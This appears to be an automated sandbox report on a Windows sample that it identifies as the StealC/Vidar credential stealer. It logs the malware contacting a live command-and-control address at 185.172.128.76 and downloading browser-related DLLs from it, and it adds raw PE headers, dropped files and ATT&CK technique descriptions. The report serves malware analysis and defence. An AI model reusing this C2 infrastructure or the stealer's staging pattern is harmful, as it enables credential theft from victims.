Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:33:03 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:33:04 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 07:33:04 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: 00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}
Source: 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.76

Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/sqlite3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/freebl3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/mozglue.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/msvcp140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/nss3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/softokn3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/vcruntime140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4JgB4mYxvJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBKKECBGIIJJKECGIJECGDHIE

C:\ProgramData\AKFIDHDGIEGCAKFIIJKF

C:\ProgramData\CFIEGDAEHIEHIDHJDAAKKEHCAF

C:\ProgramData\EEGWXUHVUG.docx

C:\ProgramData\EFOYFBOLXA.docx

C:\ProgramData\EGCFIDAFBFBAKFHJEGIJKJDGII

C:\ProgramData\GCGIDGCGIEGDGDGDGHJKKKJKEC

C:\ProgramData\GRXZDKKVDB.xlsx

C:\ProgramData\HDAFBGIJ

C:\ProgramData\HIJEGDBGDBFIJKECBAKF

C:\ProgramData\JEHIDHDA

C:\ProgramData\MOCYNWGDZO.xlsx

Windows Analysis Report
4JgB4mYxvJ.exe

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CCA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre